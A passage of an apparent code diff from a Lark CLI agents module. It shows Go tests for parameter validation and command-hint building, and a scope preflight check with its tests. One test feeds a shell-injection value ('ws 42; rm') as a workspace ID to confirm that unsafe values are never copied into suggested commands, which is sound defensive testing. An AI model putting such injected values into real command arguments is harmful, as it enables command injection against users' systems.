Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil },
},
GetTask: iagents.TaskGetOp{
Params: []iagents.CardParam{trace},
Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil },
},
}
}
// TestValidateParams_ObjectDottedChannel pins the primary object transport:
// dotted leaves validate with leaf rules, defaults backfill per leaf, and the
// canonical Resolved form is flat dotted keys.
func TestValidateParams_ObjectDottedChannel(t *testing.T) {
spec := objSpec()
vp, err := validateParams(
[]string{"trace_tag=t1", "filter.region=east", "filter.min_amount=100"},
spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("valid dotted set should pass: %v", err)
}
if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
t.Errorf("dotted leaves should land flat in Resolved, got %v", vp.Resolved)
}
if vp.Resolved["filter.active"] != "true" {
t.Errorf("leaf default should backfill, got %v", vp.Resolved)
}
// leaf teaching errors carry the dotted path
_, err = validateParams([]string{"trace_tag=t1", "filter.region=north"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error(), "filter.region") || !strings.Contains(err.Error(), "east|west") {
t.Fatalf("leaf enum violation should carry the dotted path + full set, got %v", err)
}
// unknown leaf lists the object's field set
_, err = validateParams([]string{"trace_tag=t1", "filter.region=east", "filter.regoin=east"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
t.Fatalf("unknown leaf should list the field set, got %v", err)
}
// missing required leaf reported with dotted name
_, err = validateParams([]string{"trace_tag=t1"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error(), "filter.region") {
t.Fatalf("missing required leaf should be reported by dotted name, got %v", err)
}
}
// TestValidateParams_ObjectJSONChannel pins the fallback transport: a JSON
// value validates per leaf and NORMALIZES into the same flat dotted keys — the
// provider cannot tell which channel the caller used. Mixing channels for one
// object is rejected.
func TestValidateParams_ObjectJSONChannel(t *testing.T) {
spec := objSpec()
vp, err := validateParams(
[]string{"trace_tag=t1", `filter={"region":"east","min_amount":100}`},
spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("valid JSON object should pass: %v", err)
}
if vp.Resolved["filter.region"] != "east" || vp.Resolved["filter.min_amount"] != "100" {
t.Errorf("JSON members should normalize to flat dotted keys (numbers literal), got %v", vp.Resolved)
}
if vp.Resolved["filter.active"] != "true" {
t.Errorf("leaf default should backfill on the JSON channel too, got %v", vp.Resolved)
}
// invalid JSON → teaching error pointing at the dotted alternative多违规时
// 摘要在 message、明细在 params[],用 listReasons 断言)
_, err = validateParams([]string{"trace_tag=t1", "filter={not json"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(listReasons(err), "JSON 无法解析") {
t.Fatalf("bad JSON should teach, got %v", err)
}
if !strings.Contains(listReasons(err), "点路径") {
t.Fatalf("bad JSON error should point at the dotted alternative, got %v", listReasons(err))
}
// member enum violation carries the dotted path
_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"north"}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error(), "filter.region") {
t.Fatalf("JSON member violation should carry the dotted path, got %v", err)
}
// unknown member listed against the field set
_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east","foo":1}`}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+errHint(err), "filter 可用字段") {
t.Fatalf("unknown JSON member should list fields, got %v", err)
}
// channel mixing rejected
_, err = validateParams([]string{"trace_tag=t1", `filter={"region":"east"}`, "filter.active=false"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err == nil || !strings.Contains(err.Error()+listReasons(err), "混合提供") {
t.Fatalf("channel mixing should be rejected, got %v", err)
}
}
// listReasons flattens all violation reasons for containment asserts.
func listReasons(err error) string {
var verr *errs.ValidationError
if !errors.As(err, &verr) {
return ""
}
var b strings.Builder
for _, v := range verr.Params {
b.WriteString(v.Reason)
}
return b.String()
}
// TestParamArgsFor_ObjectAndNoCarry pins the carry semantics: object leaves
// carry as ordinary scalars; NoCarry params never ride literally — required
// ones degrade to placeholders so the caller supplies a FRESH value.
func TestParamArgsFor_ObjectAndNoCarry(t *testing.T) {
spec := objSpec()
given := map[string]string{"trace_tag": "t1", "filter.region": "east", "filter.min_amount": "100"}
args, tpl := paramArgsFor(spec, iagents.VerbSend, given)
if strings.Contains(args, "trace_tag=t1") {
t.Errorf("NoCarry param must never ride literally, got %q", args)
}
if !strings.Contains(args, "--param trace_tag=<trace_tag>") || !tpl {
t.Errorf("required NoCarry should degrade to a placeholder, got %q tpl=%v", args, tpl)
}
if !strings.Contains(args, "--param filter.region=east") || !strings.Contains(args, "--param filter.min_amount=100") {
t.Errorf("object leaves should carry as ordinary scalars, got %q", args)
}
// target verb without the object (task_get) → only its own declaration carries
args, _ = paramArgsFor(spec, iagents.VerbTaskGet, given)
if strings.Contains(args, "filter") {
t.Errorf("params undeclared on the target verb must not carry, got %q", args)
}
}
func errHint(err error) string {
if p, ok := errs.ProblemOf(err); ok {
return p.Hint
}
return ""
}
// TestValidateParams_DefaultBackfill pins Resolved vs Given: defaults land in
// Resolved (what the hook sees) but never in Given (what meta.next carries).
func TestValidateParams_DefaultBackfill(t *testing.T) {
spec := paramSpec()
vp, err := validateParams([]string{"workspace_id=ws_42"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if err != nil {
t.Fatalf("should pass: %v", err)
}
if vp.Resolved["priority"] != "normal" || vp.Resolved["max_results"] != "20" {
t.Errorf("defaults should backfill Resolved, got %v", vp.Resolved)
}
if _, ok := vp.Given["priority"]; ok {
t.Errorf("defaults must NOT appear in Given (meta.next noise), got %v", vp.Given)
}
// an explicitly provided value overrides the default in Resolved
vp2, _ := validateParams([]string{"workspace_id=ws_42", "priority=high"}, spec.Send.Params, iagents.VerbSend, spec, "acme:reporter")
if vp2.Resolved["priority"] != "high" || vp2.Given["priority"] != "high" {
t.Errorf("explicit value should override default, got %v / %v", vp2.Resolved, vp2.Given)
}
}
// TestParamArgsFor pins the three-way carry rule.
func TestParamArgsFor(t *testing.T) {
spec := paramSpec()
// 1) given + whitelisted → literal carry (declaration order)
args, tpl := paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws_42", "priority": "high"})
if args != " --param workspace_id=ws_42 --param priority=high" || tpl {
t.Errorf("literal carry wrong: %q tpl=%v", args, tpl)
}
// 2) given but whitelist-failing → required degrades to placeholder,
// optional drops
args, tpl = paramArgsFor(spec, iagents.VerbSend, map[string]string{"workspace_id": "ws 42; rm", "priority": "值 带 空格"})
if !strings.Contains(args, "--param workspace_id=<workspace_id>") || strings.Contains(args, "priority") || !tpl {
t.Errorf("degrade rule wrong: %q tpl=%v", args, tpl)
}
// 3) absent but required on the target verb → placeholder (cross-verb hole)
args, tpl = paramArgsFor(spec, iagents.VerbTaskList, map[string]string{})
if args != " --param workspace_id=<workspace_id>" || !tpl {
t.Errorf("required-absent placeholder wrong: %q tpl=%v", args, tpl)
}
// nil spec / unknown verb carry nothing
if a, _ := paramArgsFor(nil, iagents.VerbSend, nil); a != "" {
t.Errorf("nil spec should carry nothing, got %q", a)
}
}
// TestNextForTaskCarriesParams pins the wired outcome: a send with given params
// yields a poll hint carrying them literally.
func TestNextForTaskCarriesParams(t *testing.T) {
spec := paramSpec()
task := &iagents.AgentTask{TaskID: "task_1", State: iagents.StateWorking}
// task_get declares no params on this spec → nothing to carry for the poll
next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
if len(next) != 1 || strings.Contains(next[0].Command, "--param") {
t.Fatalf("task_get declares no params, poll hint should carry none: %+v", next)
}
// give task_get a required param → the poll hint must carry it
spec.GetTask.Params = []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}}
next = nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
if !strings.Contains(next[0].Command, "--param workspace_id=ws_42") {
t.Fatalf("poll hint should carry the given required param: %+v", next)
}
// absent → placeholder + template
next = nextForTask("acme:reporter", task, spec, nil, iagents.VerbSend)
if !strings.Contains(next[0].Command, "--param workspace_id=<workspace_id>") || !next[0].Template {
t.Fatalf("absent required should degrade to placeholder+template: %+v", next)
}
}
// TestArtifactNext pins the per-artifact download hints: terminal task +
// wired DownloadArtifact → one template hint per whitelisted artifact id;
// whitelist-failing ids are skipped (never interpolated).
func TestArtifactNext(t *testing.T) {
spec := paramSpec()
spec.DownloadArtifact = iagents.ArtifactDownloadOp{
Params: []iagents.CardParam{{Name: "workspace_id", Type: "string", Required: true}},
Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
}
task := &iagents.AgentTask{
TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
Artifacts: []iagents.Artifact{{ID: "art_1"}, {ID: "bad;id"}, {ID: "art_2"}},
}
next := nextForTask("acme:reporter", task, spec, map[string]string{"workspace_id": "ws_42"}, iagents.VerbSend)
var downloads []string
for _, n := range next {
if strings.Contains(n.Command, "--artifact") {
downloads = append(downloads, n.Command)
if !n.Template {
t.Errorf("download hint has a -o placeholder, must be template: %+v", n)
}
}
}
if len(downloads) != 2 {
t.Fatalf("want 2 download hints (bad;id skipped), got %d: %v", len(downloads), downloads)
}
for _, c := range downloads {
if !strings.Contains(c, "--param workspace_id=ws_42") || !strings.Contains(c, "-o <保存路径>") {
t.Errorf("download hint should carry params and the -o placeholder: %q", c)
}
if strings.Contains(c, "bad;id") {
t.Errorf("whitelist-failing artifact id leaked: %q", c)
}
}
// unwired DownloadArtifact → no hints
spec.DownloadArtifact = iagents.ArtifactDownloadOp{}
if n := artifactNext("acme:reporter", task, spec, nil); n != nil {
t.Errorf("unwired artifact_download should produce no hints, got %+v", n)
}
}
// TestCardOperationSubquery pins `card --operation <verb>` against the real
// example provider: reporter's send contract carries command + parameters;
// unknown verb lists the vocabulary; unwired verb answers supported:false; a
// wired zero-param verb answers parameters:[].
func TestCardOperationSubquery(t *testing.T) {
decode := func(t *testing.T, opts *cardOptions) map[string]any {
t.Helper()
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card --operation should not error: %v", err)
}
var env struct {
Data map[string]any `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
return env.Data
}
opts, _ := cardTestOpts(t, "example:reporter")
opts.Operation = "send"
data := decode(t, opts)
if data["operation"] != "send" || data["supported"] != true {
t.Fatalf("send contract wrong: %v", data)
}
if cmdStr, _ := data["command"].(string); !strings.Contains(cmdStr, "lark-cli agents send") {
t.Errorf("contract should carry the command template, got %v", data["command"])
}
params, _ := data["parameters"].([]any)
if len(params) != 3 {
t.Fatalf("reporter send declares 3 demo params (2 scalars + render object), got %v", data["parameters"])
}
first, _ := params[0].(map[string]any)
if first["name"] != "report_format" || first["default"] != "csv" {
t.Errorf("first param should be report_format with default csv, got %v", first)
}
// unwired verb → supported:false
opts2, _ := cardTestOpts(t, "example:echo")
opts2.Operation = "task_cancel"
data = decode(t, opts2)
if data["supported"] != false {
t.Errorf("echo task_cancel should be supported:false, got %v", data)
}
// wired zero-param verb → parameters []
opts3, _ := cardTestOpts(t, "example:echo")
opts3.Operation = "context_delete"
data = decode(t, opts3)
if data["supported"] != true {
t.Fatalf("echo context_delete should be supported, got %v", data)
}
if ps, ok := data["parameters"].([]any); !ok || len(ps) != 0 {
t.Errorf("zero-param op should answer parameters:[], got %v", data["parameters"])
}
// unknown verb → invalid_argument listing the vocabulary
opts4, _ := cardTestOpts(t, "example:echo")
opts4.Operation = "sennd"
err := agentCardRun(opts4)
if err == nil || !strings.Contains(err.Error(), "task_get") || !strings.Contains(err.Error(), "all") {
t.Fatalf("unknown verb should list the vocabulary, got %v", err)
}
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("unknown verb should be invalid_argument, got %+v", p)
}
}
// TestCardOperationInstanceShape pins the review fix: on an INSTANCE provider
// (fakeflow), the single-verb --operation output reuses the struct — an
// unwired verb carries NO command key (omitempty, not command:"") and every
// response carries parameters_source:"template".
func TestCardOperationInstanceShape(t *testing.T) {
registerScripted()
opts, _ := cardTestOpts(t, "fakemin:agt_x")
opts.Operation = "task_cancel" // minimalSpec leaves CancelTask unwired
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card --operation should not error: %v", err)
}
var env struct {
Data map[string]any `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if env.Data["supported"] != false {
t.Fatalf("task_cancel should be unsupported on the scripted spec, got %v", env.Data)
}
if _, present := env.Data["command"]; present {
t.Errorf("unwired verb must not carry a command key (omitempty), got %v", env.Data["command"])
}
if env.Data["parameters_source"] != "template" {
t.Errorf("instance provider --operation should carry parameters_source:template, got %v", env.Data)
}
}
// TestCardOperationAll pins the one-shot full map: every verb present, wired
// ones carrying command+parameters.
func TestCardOperationAll(t *testing.T) {
opts, _ := cardTestOpts(t, "example:reporter")
opts.Operation = "all"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card --operation all should not error: %v", err)
}
var env struct {
Data struct {
Operations map[string]map[string]any `json:"operations"`
} `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if len(env.Data.Operations) != 8 {
t.Fatalf("all should enumerate 8 operations, got %d", len(env.Data.Operations))
}
send := env.Data.Operations["send"]
if send["supported"] != true {
t.Errorf("reporter send should be supported, got %v", send)
}
if ps, _ := send["parameters"].([]any); len(ps) != 3 {
t.Errorf("reporter send should carry its 3 demo params, got %v", send["parameters"])
}
}
// TestCardLeanHasParameters pins the lean card cue on the real reporter: send
// appears in has_parameters (it declares demo params), context_delete does not.
func TestCardLeanHasParameters(t *testing.T) {
opts, _ := cardTestOpts(t, "example:reporter")
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card should not error: %v", err)
}
var env struct {
Data struct {
HasParameters []string `json:"has_parameters"`
} `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if len(env.Data.HasParameters) != 1 || env.Data.HasParameters[0] != "send" {
t.Fatalf("reporter has_parameters should be [send], got %v", env.Data.HasParameters)
}
}
// TestSendValidatesDeclaredParams drives the full send path against the real
// reporter declaration: enum violation fails offline; a valid --param passes
// through to dry-run with defaults backfilled.
func TestSendValidatesDeclaredParams(t *testing.T) {
opts := sendTestOpts(t)
opts.Ref = "example:reporter"
opts.Text = "报表"
opts.Params = []string{"report_format=pdf"}
err := agentSendRun(opts)
if err == nil || !strings.Contains(err.Error(), "csv|xlsx") {
t.Fatalf("enum violation should fail offline listing the set, got %v", err)
}
opts2 := sendTestOpts(t)
opts2.Ref = "example:reporter"
opts2.Text = "报表"
opts2.Params = []string{"report_format=xlsx"}
opts2.DryRun = true
out := opts2.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts2); err != nil {
t.Fatalf("valid param should pass: %v", err)
}
var env struct {
Data struct {
WouldSend struct {
Params map[string]string `json:"params"`
} `json:"would_send"`
} `json:"data"`
}
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("invalid envelope: %v", err)
}
if env.Data.WouldSend.Params["report_format"] != "xlsx" || env.Data.WouldSend.Params["quarters"] != "4" {
t.Fatalf("dry-run should show the resolved params (default quarters=4 backfilled), got %v", env.Data.WouldSend.Params)
}
}
// TestListRejectsParams pins the two list guards: --param without a scheme is
// rejected outright; --param on a catalog scheme validates against the empty
// set with the list-specific hint.
func TestListRejectsParams(t *testing.T) {
opts, _ := listFactory()
opts.Params = []string{"env=boe"}
err := agentListRun(opts)
if err == nil || !strings.Contains(err.Error(), "仅在 agents list <scheme>") {
t.Fatalf("no-scheme --param should be rejected, got %v", err)
}
opts2, _ := listFactory()
opts2.Scheme = "example"
opts2.Params = []string{"env=boe"}
err = agentListRun(opts2)
if err == nil {
t.Fatal("catalog scheme with --param should be rejected (zero-param op)")
}
if p, ok := errs.ProblemOf(err); !ok || !strings.Contains(p.Hint, "list_parameters") {
t.Fatalf("list param error hint should point at providers[].list_parameters, got %+v", p)
}
}

216
cmd/agents/preflight.go Normal file
View File

@@ -0,0 +1,216 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"fmt"
"sort"
"strings"
"time"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/appmeta"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// This file implements the scope preflight: after the provider is resolved and
// before the real API call, the session's available scopes are checked against
// the provider's RequiredScopes. The check is all-or-nothing — any real API verb
// requires the provider's entire scope set. For USER identity the scope list is
// read locally from the credential cache (no network); for BOT identity it is
// the app's published TenantScopes, fetched best-effort (a fetch failure
// downgrades the check to a no-op, like event's console precheck). A missing
// scope surfaces as a missing_scope permission error (exit 3) with an
// identity-appropriate remediation hint instead of a round-trip API 99991679.
// `--dry-run` never reaches it (dry-run returns before the provider is resolved).
// storedUserScopes is the token-scope read seam: it returns the granted scope
// list of the stored user token from the LOCAL credential cache (keychain via
// GetStoredToken — same read path as `auth check`), issuing no network
// request. nil/empty means "no usable local scope list" and the caller skips
// preflight. Tests swap it so no unit test touches the real keychain.
var storedUserScopes = func(f *cmdutil.Factory) []string {
if f == nil || f.Config == nil {
return nil
}
config, err := f.Config()
if err != nil || config == nil || config.UserOpenId == "" {
return nil
}
stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
if stored == nil {
return nil
}
return strings.Fields(stored.Scope)
}
// preflightInput is the pure input of preflightScopes, so the check itself is
// unit-testable without a Factory, keychain, or provider client.
type preflightInput struct {
Identity core.Identity
TokenScopes []string
Provider iagents.Provider
}
// preflightScopes runs the local scope check. It returns nil when the check
// does not apply — bot identity (handled elsewhere) or an unreadable/empty local
// scope list (the downstream not_configured / need-authorization logic owns
// that). The check is all-or-nothing: when any scope in the provider's
// RequiredScopes set is not granted it returns the missing_scope permission
// error (exit 3, mirroring the event-consume scope preflight) carrying every
// missing scope, with a re-auth hint listing ONLY the missing scopes.
//
// The hint lists just the missing scopes (not a merge with existing grants):
// the open platform authorizes INCREMENTALLY — re-login with only the missing
// scopes keeps every previously-granted scope — so re-requesting the existing
// grants would be redundant. This mirrors cmd/event's scopeRemediationHint.
func preflightScopes(in preflightInput) error {
// No usable scope list → skip (user not logged in, or bot has no published
// version / the fetch failed); the downstream not_configured / API error owns
// that path.
if len(in.TokenScopes) == 0 {
return nil
}
// Only user / bot carry a scope-list concept.
if in.Identity != core.AsUser && !in.Identity.IsBot() {
return nil
}
granted := make(map[string]bool, len(in.TokenScopes))
for _, s := range in.TokenScopes {
granted[s] = true
}
var missing []string
for _, scope := range in.Provider.RequiredScopes {
if !granted[scope] {
missing = append(missing, scope)
}
}
if len(missing) == 0 {
return nil
}
sort.Strings(missing)
return errs.NewPermissionError(errs.SubtypeMissingScope,
"当前 %s 身份缺少本命令所需 scope: %s", in.Identity, strings.Join(missing, ", ")).
WithIdentity(string(in.Identity)).
WithMissingScopes(missing...).
WithHint("%s", scopeRemediationHint(in.Identity, missing))
}
// scopeRemediationHint returns an identity-appropriate fix for the missing
// scopes, mirroring cmd/event's scopeRemediationHint split:
// - user: re-login requesting ONLY the missing scopes — the open platform
// authorizes incrementally, so previously-granted scopes are preserved (no
// merge needed).
// - bot: the tenant token's scopes come from the app's published version, so
// the fix is to add the scopes to the app in the developer console and
// re-publish — not a per-token re-auth. (event additionally offers a
// one-click scan-to-enable deep link; that generator lives in cmd/event and
// is not duplicated here.)
func scopeRemediationHint(id core.Identity, missing []string) string {
if id.IsBot() {
return fmt.Sprintf(
"the bot (tenant) token's scopes come from the app's published version — add these scopes to the app in the developer console and re-publish: %s",
strings.Join(missing, " "))
}
// Canonical repo-wide auth login --scope remediation phrasing (see
// cmd/event, shortcuts/*). Only the missing scopes are listed — the open
// platform authorizes incrementally, so existing grants are preserved.
return fmt.Sprintf(
"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
strings.Join(missing, " "))
}
// preflightScopesForRef is the ref-addressed wrapper: it parses ref for its
// scheme and delegates to preflightScopesForScheme. An unparsable ref yields nil
// — the preflight is an accelerator, never a new failure mode; the paths that
// validate ref/scheme for real have already run inside resolveSpec.
func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
r, err := iagents.ParseRef(ref)
if err != nil {
return nil //nolint:nilerr // preflight is best-effort: resolveSpec already surfaced any real ref error
}
return preflightScopesForScheme(f, id, r.Scheme)
}
// preflightScopesForScheme is the scheme-keyed core of the preflight, shared by
// the ref-addressed verbs (via preflightScopesForRef) and the online
// `agents list <scheme>` enumeration, which has no agent_id. It resolves the
// provider registration for the scheme, reads the stored scopes through the
// identity-appropriate seam, and runs the same all-or-nothing check against the
// provider's full RequiredScopes. Any gap in its own inputs (nil Factory,
// unregistered scheme, empty RequiredScopes) yields nil.
func preflightScopesForScheme(f *cmdutil.Factory, id core.Identity, scheme string) error {
if f == nil {
return nil
}
prov, ok := iagents.Info(scheme)
if !ok || len(prov.RequiredScopes) == 0 {
return nil // no scopes to check (e.g. the example mock declares none)
}
var tokenScopes []string
switch {
case id == core.AsUser:
tokenScopes = storedUserScopes(f) // local keychain read, no network
case id.IsBot():
tokenScopes = botTenantScopes(f) // best-effort app-version fetch
default:
return nil
}
return preflightScopes(preflightInput{Identity: id, TokenScopes: tokenScopes, Provider: prov})
}
// botTenantScopes is the bot-scope read seam: it fetches the app's
// currently-published version and returns its TenantScopes (the scopes a tenant
// token actually carries). Any failure — no client, no published version,
// network / appmeta error — yields nil so the caller skips the check (weak
// dependency, mirroring event's console precheck downgrade). Tests swap it so no
// unit test touches the network.
var botTenantScopes = func(f *cmdutil.Factory) []string {
if f == nil || f.Config == nil {
return nil
}
config, err := f.Config()
if err != nil || config == nil || config.AppID == "" {
return nil
}
apiClient, err := f.NewAPIClient()
if err != nil {
return nil
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
appVer, err := appmeta.FetchCurrentPublished(ctx, &appmetaBotClient{client: apiClient}, config.AppID)
if err != nil || appVer == nil {
return nil
}
return appVer.TenantScopes
}
// appmetaBotClient adapts *client.APIClient to appmeta's APIClient shape under a
// pinned bot identity (/app_versions is app-level and rejects UAT). It returns
// the raw JSON body for appmeta to project; any non-typed transport error is
// classified so callers only see typed errs.* values (though botTenantScopes
// treats every error as a no-op anyway).
type appmetaBotClient struct{ client *client.APIClient }
func (c *appmetaBotClient) CallAPI(ctx context.Context, method, path string, body interface{}) (json.RawMessage, error) {
resp, err := c.client.DoAPI(ctx, client.RawApiRequest{Method: method, URL: path, Data: body, As: core.AsBot})
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return nil, err
}
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", method, path, err).WithCause(err)
}
return json.RawMessage(resp.RawBody), nil
}

View File

@@ -0,0 +1,434 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"errors"
"reflect"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
)
// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
// see scripted_provider_test.go) — the all-or-nothing preflight requires every
// one of fakescopedAllScopes for any real API verb.
func scopedInfo(t *testing.T) iagents.Provider {
t.Helper()
registerScripted()
prov, ok := iagents.Info("fakescoped")
if !ok {
t.Fatal("fakescoped provider should be registered")
}
return prov
}
// requirePreflightError asserts err is the missing_scope permission error
// (exit 3, mirroring the event-consume scope preflight) and returns the typed
// value for field assertions.
func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
t.Helper()
if err == nil {
t.Fatal("want missing_scope error, got nil")
}
var pe *errs.PermissionError
if !errors.As(err, &pe) {
t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
}
if pe.Subtype != errs.SubtypeMissingScope {
t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
}
if code := output.ExitCodeOf(err); code != 3 {
t.Fatalf("exit code should be 3, got %d", code)
}
return pe
}
// TestPreflightReportsMissingWithIncrementalHint is the all-or-nothing pin: a
// user token holding only some of the provider's scopes fails with EVERY missing
// scope named (sorted) in both the message and missing_scopes, and a re-auth
// hint listing ONLY the missing scopes (the open platform authorizes
// incrementally, so re-login with just the missing keeps existing grants — no
// merge needed, mirroring cmd/event).
func TestPreflightReportsMissingWithIncrementalHint(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
Provider: scopedInfo(t),
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
t.Errorf("message should list all missing scopes, got %q", ve.Message)
}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
}
// Incremental hint: ONLY the missing scopes (not merged with existing grants).
wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read"`
if !strings.Contains(ve.Hint, wantScopeArg) {
t.Errorf("hint should contain only the missing scopes %q, got %q", wantScopeArg, ve.Hint)
}
// And must NOT re-list an already-granted scope.
if strings.Contains(ve.Hint, "im:message") {
t.Errorf("incremental hint must not re-request already-granted scopes, got %q", ve.Hint)
}
}
// TestPreflightBotNoTenantScopesSkipped pins that with no available tenant scope
// list (fetch failed / app unpublished → nil), the bot check downgrades to a
// no-op, so the bus/API handshake owns the error.
func TestPreflightBotNoTenantScopesSkipped(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsBot,
TokenScopes: nil,
Provider: scopedInfo(t),
})
if err != nil {
t.Fatalf("bot with no tenant scope list should skip preflight, got %v", err)
}
}
// TestPreflightBotMissingScopes pins the bot branch: given the app's published
// TenantScopes, a missing scope is reported with the BOT remediation hint (add
// in the developer console + re-publish), NOT a user re-login.
func TestPreflightBotMissingScopes(t *testing.T) {
// Tenant token carries 2 of the 4 fakescoped scopes.
err := preflightScopes(preflightInput{
Identity: core.AsBot,
TokenScopes: []string{"fakescoped:agent_chat:read", "fakescoped:agent_chat:write"},
Provider: scopedInfo(t),
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("bot missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
}
if ve.Identity != string(core.AsBot) {
t.Errorf("error identity should be bot, got %q", ve.Identity)
}
// Bot hint = console re-publish, NOT `auth login` (that is the user fix).
if strings.Contains(ve.Hint, "auth login") {
t.Errorf("bot hint must not suggest auth login (user-only), got %q", ve.Hint)
}
if !strings.Contains(ve.Hint, "developer console") {
t.Errorf("bot hint should point to the developer console, got %q", ve.Hint)
}
}
// TestPreflightBotAllScopesPresent pins the bot happy path.
func TestPreflightBotAllScopesPresent(t *testing.T) {
if err := preflightScopes(preflightInput{
Identity: core.AsBot, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
}); err != nil {
t.Errorf("bot with all tenant scopes should pass, got %v", err)
}
}
// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
// without a scope list) yields nil so the downstream not_configured /
// need-authorization path owns the error.
func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: nil,
Provider: scopedInfo(t),
})
if err != nil {
t.Fatalf("no token scope list should return nil, got %v", err)
}
}
// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
// fakescoped scopes passes the all-or-nothing check.
func TestPreflightAllScopesPresent(t *testing.T) {
if err := preflightScopes(preflightInput{
Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
}); err != nil {
t.Errorf("should pass when all scopes present, got %v", err)
}
}
// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
// is missing even a single scope fails, and the reported missing set is exactly
// the scopes it lacks (not just this-verb scopes — the per-verb concept is
// gone).
func TestPreflightMissingAnyScopeFails(t *testing.T) {
// Missing exactly one scope (attachment) → that one scope is reported.
ve := requirePreflightError(t, preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: []string{
